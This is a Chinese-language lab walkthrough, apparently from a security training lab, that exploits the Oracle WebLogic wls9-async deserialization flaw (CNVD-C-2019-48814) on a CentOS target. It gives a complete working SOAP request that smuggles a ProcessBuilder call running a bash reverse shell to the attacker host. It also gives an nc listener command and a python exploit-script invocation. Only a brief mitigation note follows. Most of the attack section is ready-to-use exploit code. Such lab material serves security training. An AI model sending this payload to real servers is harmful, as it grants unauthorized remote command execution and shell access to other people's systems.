目录
一,漏洞信息
二,实验环境
三,漏洞利用
第一步.查看其是否开启了wls9_async_response组件
1.打开Centos
2.开启weblogic
3.访问weblogic
4.查看async
5.访问AsyncResponseService
第二步,CNVD-C-2019-48814漏洞的具体利用
方法一:bp
1.监听
2.开启代理
3.使用bp抓包
4.发送到repeater
5.构造一个payload
6.go发送
7.查看终端监听
方法二:python脚本使用方法
1.监听
2.使用python脚本
3.查看终端监听
编辑
四,解决办法
一,漏洞信息
漏洞编号:OracleWebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)
影响版本:WebLogic 10.x WebLogic 12.1.3
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。存在于weblogic自带的wls9_async_response.war组件及wls-wsat组件中,在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意HTTP 请求,未授权的情况下远程执行命令。部分版本WebLogic中默认包含的wls9_async_response包,主要是为WebLogic Server提供异步通讯服务。
反序列化:就是讲字节序列转化成对象的过程。
二,实验环境
服务器:Centos ,IP地址:10.1.1.100 攻击机器:kali ,IP地址:10.1.1.200 辅助工具:Firefox、burpsuite
来源:合天网安实验室
三,漏洞利用
第一步.查看其是否开启了wls9_async_response组件
1.打开Centos
service iptables stop //关闭防火墙
2.开启weblogic
cd /usr/local/weblogic/wlserver_10.3/samples/domains/wl_server/bin //进入到这个目录 nohup ./startWebLogic.sh //启动weblogic
3.访问weblogic
切换到kali机器,打开http://10.1.1.100:7001
4.查看async
http://10.1.1.100:7001/_async, 打开发现403,目录存在
5.访问AsyncResponseService
访问发送服务,查看是否开启了wls9_async_response组件 http://10.1.1.100:7001/_async/AsyncResponseService
第二步,CNVD-C-2019-48814漏洞的具体利用
方法一:bp
1.监听
nc -lvvp 666
2.开启代理
如下图设置
3.使用bp抓包
抓取http://10.1.1.100:7001/_async/AsyncResponseService页面
4.发送到repeater
5.构造一个payload
代码语言:javascript复制POST /_async/AsyncResponseService HTTP/1.1
Host: 10.1.1.100:7001
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.1.1.200/666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
6.go发送
点击go 发现出现202,说明发送成功
7.查看终端监听
成功反弹到了shell
方法二:python脚本使用方法
1.监听
nc -lvvp 666
2.使用python脚本
python async_reserve_shell.py http://10.1.1.100:7001/_async/AsyncResponseService 10.1.1.200 666
3.查看终端监听
四,解决办法
找到并删除wls9_async_response.war、wls-wsat.war 然后重启Weblogic服务 或者将/_async/* 及 /wls-wsat/* 的路径的URL访问注释静止